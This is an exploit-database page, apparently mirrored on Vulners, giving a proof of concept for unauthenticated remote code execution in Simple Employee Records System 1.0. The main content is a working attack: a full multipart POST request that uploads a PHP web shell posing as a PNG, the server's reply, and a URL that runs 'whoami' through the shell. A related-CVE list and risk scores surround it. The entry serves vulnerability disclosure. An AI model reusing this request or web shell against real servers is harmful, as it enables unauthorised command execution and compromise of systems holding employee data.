Lucene search
+L

Simple Employee Records System 1.0 - Unauthenticated File Upload Remote Code Execution (RCE)

🗓️ 26 Feb 2021 00:00:00Reported by smlType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 991 Views

Simple Employee Records System 1.0 File Upload RCE Unauthenticated exploi

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Unrestricted Upload of File with Dangerous Type in Skittles Employee_Records_System
25 Nov 202507:32
–githubexploit
circl
Circl
CVE-2021-4462
11 Nov 202501:30
–circl
cnnvd
CNNVD
Employee Records System security vulnerabilities
10 Nov 202500:00
–cnnvd
cve
CVE
CVE-2021-4462
10 Nov 202522:32
–cve
cvelist
Cvelist
CVE-2021-4462 Employee Records System v1.0 Arbitrary File Upload RCE
10 Nov 202522:32
–cvelist
euvd
EUVD
EUVD-2021-34713
11 Nov 202500:30
–euvd
nuclei
Nuclei
Employee Records System 1.0 - Unauthenticated File Upload RCE
24 Nov 202602:03
–nuclei
nvd
NVD
CVE-2021-4462
10 Nov 202523:15
–nvd
osv_cve
osv_cve
CVE-2021-4462
10 Nov 202523:15
–osv_cve
ptsecurity
Positive Technologies
PT-2025-46216
10 Nov 202500:00
–ptsecurity
Rows per page
# Exploit Title: Simple Employee Records System 1.0 - File Upload RCE (Unauthenticated)
# Date: 2021-02-25
# Exploit Author: [email protected]
# Vendor Homepage: https://www.sourcecodester.com/php/11393/employee-records-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/employee_records_system.zip
# Version: v1.0
# Tested on: Ubuntu 20.04.2

uploadID.php can be used to upload .php files to
'/uploads/employees_ids/' without authentication.

POC
---

1) Make the following Request changing the "Host:" to your Victim IP.

POST /dashboard/uploadID.php HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=---------------------------5825462663702204104870787337
Content-Length: 267
DNT: 1
Connection: close

-----------------------------5825462663702204104870787337
Content-Disposition: form-data; name="employee_ID"; filename="cmd2.php"
Content-Type: image/png
<?php
$cmd=$_GET['cmd'];
system($cmd);
?>
-----------------------------5825462663702204104870787337--


2) You will get the response with the name of the uploaded file
(upload_filename).

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 25 Feb 2021 19:17:55 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 77
{"upload_filename":"Ag1rzKFWTlnCZhL_cmd2.php","selected_filename":"cmd2.php"}

3) Your file will be located in:
http://VICTIM_IP/uploads/employees_ids/Ag1rzKFWTlnCZhL_cmd2.php

4) In this example, to run commands:
http://192.168.1.117/uploads/employees_ids/Ag1rzKFWTlnCZhL_cmd2.php?cmd=whoami

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.19.8
CVSS 49.3
EPSS0.03417
SSVC
991